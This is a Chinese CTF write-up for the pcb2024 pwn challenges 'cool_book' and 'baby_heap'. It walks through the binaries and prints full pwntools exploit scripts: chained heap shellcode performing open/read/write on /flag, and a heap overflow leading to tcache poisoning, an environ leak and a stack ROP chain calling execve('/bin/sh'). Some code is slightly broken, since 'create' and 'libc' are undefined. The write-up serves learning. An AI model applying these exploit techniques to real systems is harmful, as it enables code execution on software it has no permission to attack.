pcb2024

cool_book

除了canary保护全开

存在沙箱,可以使用orw

没有给libc,其实第一感觉就是栈溢出之类的,但是后面搜gadget的时候发现一个都没有,就没有思路写下去了,唉,菜死了。

image-20241112122123857

静态分析

程序还算比较简单,在init()函数中打印了初始堆的地址(当然如果有tcachebin的话就不是第一个堆了,但是由于题目没有给libc所以其实也不用考虑这个),并且给这片0x1000的堆区rwx权限。

然后进入循环,首先是菜单,只有add,delete和exit功能。

先看看add功能,add需要传入一个栈上的数组变量(注意这个变量),add函数中对堆的数量作了限制,idx只能为0到0x31(虽然伪代码没有对负数作出检测,但是在汇编代码中使用test对负数值作了检测),每次malloc固定大小的chunk,datasize为0x20,可以读入任意内容,但是只能读入0x10个字节,最后将堆的地址存储在栈的数组变量上,经过计算,最后一个堆刚好修改了main函数的ret指令的对应地址的内容。

delete功能就是普通的delete,free掉chunk之后也将堆内的内容清空。

可以break结束循环,开启沙箱然后进入ret指令。

1
2
3
4
5
6
7
解题思路:通过开辟的堆实现栈溢出链
解题思路 -> 解题步骤
1、由于题目中并没有给现成的gadget(tmd我就是卡在这一点上了),可以通过shellcode的方式执行代码
2、执行一次read函数将shellcode读入已知地址之后,执行shellcode
解题步骤
1、使用syscall对read进行调用,由于堆上能存储的空间很小,需要分步存储并链式调用,注意rsp的变化,通过调试可以很好的对rsp进行预测。注意此处需要手写shellcode,其实还挺有意思的
2、写入orw的完整shellcode并执行即可
exp1:

这个是我自己手搓的脚本,比较丑(但是应该还蛮好理解的)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
from pwn import *
elf = ELF('./cool_book')
context(arch = elf.arch,os = elf.os,log_level = 'debug',terminal = ['tmux','splitw','-h'])
p = process('./cool_book')

def debug():
gdb.attach(p)
pause()
def menu(index):
p.sendline(str(index))
def add(index,content):
menu(1)
p.sendlineafter("input idx",str(index))
p.sendafter("input content",content)
def delete(index):
menu(2)
p.sendlineafter("input idx",str(index))
def exit():
menu(3)

# leak_heap
p.recvuntil(b'addr=0x')
heap_base = int(p.recv(12).decode('utf-8'),16)
log.success(hex(heap_base))

# orw的shellcode,要写在堆区才能执行
shellcode = shellcraft.open("/flag")
shellcode += shellcraft.read(3,heap_base-0x100,0x30)
shellcode += shellcraft.write(1,heap_base-0x100,0x30)
shellcode = asm(shellcode)


# 使用syscall调用read读取orw的shellcode,
#由于每个堆只能存0x10字节的数据,所以可以将命令分开存储,链式调用
# rax=0
payload1 = """
mov rax,0
sub rsp,0x10
ret
"""
# rdi=0
payload2 = """
mov rdi,0
sub rsp,0x10
ret
"""
# rdx=0x100,这个rdx是读取orw的shellcode用的,要设置得大一些
payload3 = """
mov rdx,0x100
sub rsp,0x10
ret
"""
# rsi = [rsp],由于rsp是指向栈的,所以如果要将数据写进堆里就要将rsi赋值为堆地址
payload4="""
mov rsi,[rsp]
sub rsp,0x10
ret
"""
# syscall调用,并且ret到指向shellcode的地址的栈地址(可能有点绕,需要自己动态调试一下)
payload5="""
syscall
add rsp,0x8
ret
"""

# 需要注意的是堆的序号只和栈地址相关,和堆地址无关,影响堆地址的是malloc的顺序
add(45,asm(payload5))
add(46,asm(payload4))
add(47,asm(payload3))
add(48,asm(payload2))
add(49,asm(payload1))
exit()
# 使用exit退出循环后,ret触发read即可输入shellcode
p.sendline(shellcode)

p.interactive()
exp2:

搜索到的wp中别人的脚本,感觉跳转非常多,尤其是对rsp的利用,只能说非常叼,但是读起来比较费劲,不过对rsp的使用很有参考意义,我也是看了这个exp才手搓的脚本。而且这个脚本的空间利用率感觉还挺高的,因为pop这种单参数的指令相比于mov这种双参数的指令要短很多,所以可以看到在这个exp中的命令明显比我的要长很多。

主要的原理就是通过不断移动rsp来实现对各个值的pop,思路比较有意思。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
from pwn import *
context(arch='amd64', os='linux')
io = process('./cool_book')

def add(index, content):
io.recvuntil('3.exit\n')
io.sendline('1')
io.recvuntil('idx\n')
io.sendline(str(index))
io.recvuntil('content\n')
io.send(content)
def quit():
io.recvuntil('3.exit\n')
io.sendline('3')
# 泄露堆地址
io.recvuntil('addr=')
heap = int(io.recv(14), 16) + 0x70

asm1 = 'add rsp, 0x50;'
asm1 += 'pop rax;'
asm1 += 'pop rdi;'
asm1 += 'add rsp, 0x20;'
asm1 += 'pop rsi;'
asm1 += 'pop rdx;'
asm1 += 'syscall;'
asm1 += 'ret;'

asm2 = 'add rsp, 0x20;'
asm2 += 'pop rax;'
asm2 += 'pop rdi;'
asm2 += 'add rsp, 0x20;'
asm2 += 'pop rsi;'
asm2 += 'syscall;'
asm2 += 'ret;'

asm3 = 'pop rax;'
asm3 += 'add rsp, 0x20;'
asm3 += 'pop rdi;'
asm3 += 'pop rsi;'
asm3 += 'add rsp, 0x20;'
asm3 += 'pop rdx;'
asm3 += 'syscall;'
asm3 += 'ret;'
asm4 = 'mov rsp, ' + str(heap + 0x30) + ';'
asm4 += 'ret;'

add(1, b'flag\x00')
add(2, p64(heap + 0x240) + p64(2)) # open
add(3, p64(heap) + p64(0))
add(4, p64(0x30) + p64(heap + 0x210))
add(5, p64(0) + p64(3)) # read
add(6, p64(heap) + p64(heap + 0x1E0))
add(7, p64(0) + p64(0))
add(8, p64(1) + p64(1)) # write
add(9, p64(heap) + p64(0x30))
add(10, p64(0) + p64(0))
add(11, asm(asm1)) # cmd
add(12, asm(asm2))
add(13, asm(asm3))
add(0x31, asm(asm4))

quit()
io.interactive()

baby_heap

完全没看出来哪baby了,又是被堆题薄纱的一天

保护全开

静态分析

init中使用puts定义了libc的基址(不管有没有用先记着,虽然大概率是没啥用)

存在四个功能,add、delete、show、edit,比较有意思的点是使用func_list来调用这些功能

先看add函数,限制了idx的数量,只能为0-0x14,也就是最多21个堆,size也作了限制,范围为0-0x400,也就是tcachebin的范围,malloc的大小是可控的,content也是正常的输入,最后chunksize存储在0x40a8起始的地址,chunkptr存储在0x40a0起始的地址

再看delete函数,对ptr进行了检测,必须ptr存在才能执行free函数,free之后将chunkptr置空

再看show函数,同样对ptr进行了检测,需要ptr存在才能执行puts函数

最后看edit函数,对ptr和0x41e0的值进行检测,两个都满足之后可以对chunk进行编辑,但是此处存在漏洞,编辑的内容是固定大小的0x400,而不是chunk的真实size,此处存在堆溢出。完成一次编辑之后0x41e0会减小,下一次进入edit函数0x41e0就不满足条件了,也就是说只有一次堆溢出的机会。

直接对exp进行分析吧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
分析结果:
exp通过泄露environ的形式泄露栈地址从而实现了栈溢出(破解canary的方法加一)
解题步骤:
1、泄露libc和heap,泄露libc是为了获得gadget和environ的地址,泄露heap是为了计算tcachebin的next值
具体方法:
由于题目限制只能malloc21个堆,以及大小为0x400以下的chunk,可以使用unsortedbin进行泄露,由于add时必须要输入内容,会将地址覆盖掉一部分,因此可以使用多个unsortedbin链接的方式来泄露。(其实也可以爆破,但是没必要吧,但是如果不用爆破当然更好)
首先要将tcachebin填满,因此需要7个相同大小的chunk,然后还需要5个相同大小的chunk,命名为chunk7,chunk8,chunk9.chunk10,chunk11。其中chunk9主要是起分隔的作用,按照8,11,10,7的顺序free掉,在8和11中就会保存libc和heap的地址。最后还需要一个chunk分隔top_chunk,因此需要13个chunk
改进方法:
只需要4个chunk就可以达到同样的效果,按照8,10,7的顺序free,就会在8中保存地址,因此重要的点在于8需要先和10或者其他不相邻的chunk链接,才会同时留下libc和heap的地址,然后再通过和7合并将这两个地址都保留下来。但是按照这样处理会有一个问题,那就是清空tcachebin时需要将unsortedbin中相同大小的也清理出来,防止对后续的安排有影响,因此我认为exp中的处理是比较优雅的。
3个chunk就不行了,如果按照8,10,9的顺序free,最后发现只会保存下libc的地址,这应该跟合并的代码有关。
2、使用edit伪造堆块
这部分有点写不动了,比较难描述,我感觉比较重点的应该是通过堆溢出修改size,修改size之后的chunk需要free之后重新取出来使用才算是真正的修改成功。修改size之后存在堆块重叠,可以通过修改下一个chunk的next实现tcachebin poisoning,就是修改指针然后申请任意地址的堆块。
注意tcachebin在2.34之后加入的加密机制,需要对要修改的堆块的地址右移12位,然后跟目标地址异或。
通过输出environ地址的内容就可以获得靠近栈地址,再执行一次tcachebin poisoning就可以在栈上写入代码,实现栈溢出,至于具体的位置,需要进行调试才行,在exp中是使用了add函数中的ret实现的栈溢出。
改进方法:
其实exp中有很多chunk是没用到的,也没看出来有啥用,可以尝试去除一下,可以省下很多空间,不过整体而言exp写得很优雅,像有强迫症。
exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
from pwn import *
elf = ELF('./pwn')
context(arch = elf.arch,os = elf.os,log_level = 'debug',terminal = ['tmux','splitw','-h'])
p = process('./pwn')

def debug():
gdb.attach(p)
pause()
def menu(index):
p.sendlineafter("inputs your choice:",str(index))
def add(index,size,content):
menu(1)
p.sendlineafter("input idx:",str(index))
p.sendlineafter("input size:",str(size))
p.sendafter("input content:",content)
def delete(index):
menu(2)
p.sendlineafter("input idx:",str(index))
def show(index):
menu(3)
p.sendlineafter("input idx:",str(index))
def edit(index,content):
menu(4)
p.sendlineafter("input idx:",str(index))
p.send(content)

for i in range(13):
create(i,0x80,'aaaa') # 生成13个chunk chunk12用于防止top_chunk的合并
for i in range(7):
delete(i) # 填满tcachebin

delete(8) # 填入unsortedbin
delete(11) # 填入unsortedbin
delete(10) # 填入unsortedbin,并与chunk11合并,大小为0x120
delete(7) # 填入unsortedbin,并与chunk8合并,大小为0x120
# unsortedbin -> chunk7 -> chunk10(注意是双向链表)
# 注意free的顺序,新释放的chunk会被插入到unsortedbin和之前释放的chunk之间
# 注意chunk9没有被free,且chunk9的prev_size被修改为0x120
# 注意free的顺序,为什么不直接free7,8,10,11,是因为这样8和11就不会有unsortedbin的指针,由于合并chunk和malloc都不会清空chunk的内容,所以chunk8和chunk11中会保留heap的地址和libc的地址

# 泄露libc_base和heap_base
add(7,0x110,'a'*0x90)
add(8,0x110,'a'*0x90)
show(7)
p.recvuntil('a'*0x90)
libc.address = u64(p.recv(6).ljust(8,b'\x00')) - 0x240 - libc.sym['_IO_2_1_stdin_']
log.success(hex(libc.address))
show(8)
p.recvuntil('a'*0x90)
heap_base = u64(p.recv(6).ljust(8,b'\x00')) - 0x710
log.success(hex(heap_base))

environ = libc.sym['_environ']
binsh = next(libc.search(b'/bin/sh'))
execve = libc.sym['execve']
pop_rdi = next(libc.search(asm("pop rdi\nret")))
pop_rsi = next(libc.search(asm("pop rsi\nret")))
pop_rdx_r12 = next(libc.search(asm("pop rdx\npop r12\nret")))

log.success(hex(environ))
log.success(hex(binsh))
log.success(hex(execve))
log.success(hex(pop_rdi))
log.success(hex(pop_rsi))
log.success(hex(pop_rdx_r12))

for i in range(7):
create(i,0x80,'a') #将tcachebin清空

create(0,0x10,'a') # chunk0 0x20
create(1,0x10,'a') # chunk1 0x20
create(2,0x20,'a') # chunk2 0x30
create(3,0x30,'a') # chunk3 0x40
create(4,0x40,'a') # chunk4 0x50
create(5,0x110,'a') # chunk5 0x120
create(6,0x10,'a') # chunk6 0x20

# 具体修改可见下图

payload = b'\x00' * 0x10 # 填充chunk0的data部分
payload += p64(0) + p64(0x41) # 修改chunk1的size为0x41
payload += b'\x00' * 0x10 # 填充chunk1的data部分
payload += p64(0) + p64(0x51) # 修改chunk2的size为0x51
payload += b'\x00' * 0x20 # 填充chunk2的data部分
payload += p64(0) + p64(0x61) # 修改chunk3的size为0x61
payload += b'\x00' * 0x30 # 填充chunk3的data部分
payload += p64(0) + p64(0x71) # 修改chunk4的size为0x71
payload += b'\x00' * 0x40 # 填充chunk4的data部分
payload += p64(0) + p64(0x111) # 修改chunk5的size部分为0x111
edit(0,payload)

add(7,0x30,'a'*0x10)
add(8,0x40,'a'*0x10)
add(9,0x50,'a'*0x10) # 此处可以看到序号9被重置了,所以leak时的chunk9只是起到一个防止合并的作用
add(10,0x60,'a'*0x10)
add(11,0x100,'a'*0x10)

delete(7)
delete(8)
delete(9)
delete(10)
delete(11)
delete(1) # tcachebin(0x40) -> chunk1 -> chunk7
delete(2) # tcachebin(0x50) -> chunk2 -> chunk8
delete(3) # tcachebin(0x60) -> chunk3 -> chunk9
delete(4) # tcachebin(0x70) -> chunk4 -> chunk10
delete(5) # tcachebin(0x110) -> chunk5 -> chunk11

# 修改chunk2的next为environ所在的chunk,之前通过栈溢出已经修改了chunk2的size
# 注意在libc2.34之后加入的next加密机制
# 注意-的优先级是比^的优先级要高的,所以会执行-
add(1,0x30,b'a'*0x20 + p64(((heap_base + 0xa30)>>12)^environ - 0x10))
# tcachebin(0x40) -> chunk7
# tcachebin(0x50) -> chunk2 -> environ
add(2,0x40,'a'*0x10)
add(3,0x40,'a'*0x10)
show(3)
p.recvuntil(0x10*'a')
stack = u64(p.recv(6).ljust(8,b'\x00')) - 0x148

add(4,0x60,b'a'*0x50 + p64(((heap_base + 0xaf0)>>12)^stack - 0x10))
# tcachebin(0x110) -> chunk5 -> stack
# 通过精妙的stack的控制,在add函数的ret指令处执行了execve('/bin/sh',0,0,0)函数,确实叼
add(5,0x100,'a'*0x10)
payload = p64(pop_rdx_r12) + p64(0) + p64(0)
payload += p64(pop_rdi) + p64(binsh)
payload += p64(pop_rsi) + p64(0)
payload += p64(execve)
add(6,0x100,b'a'*0x18+payload)

p.interactive()

1
在gdb中可以使用x/i查看某个地址的内容转为汇编指令的结果

使用edit之前

image-20241113151311086

使用edit之后

image-20241113151348692

另外两题看都没看,感觉也不是我目前能写出来的,其中有一道是http,还有一道vm pwn,当然主要是没找到wp,如果找得到还是会复现一下的(大概

ctf_xinetd-master

vm

参考链接:2024.11.鹏城杯wp-CSDN博客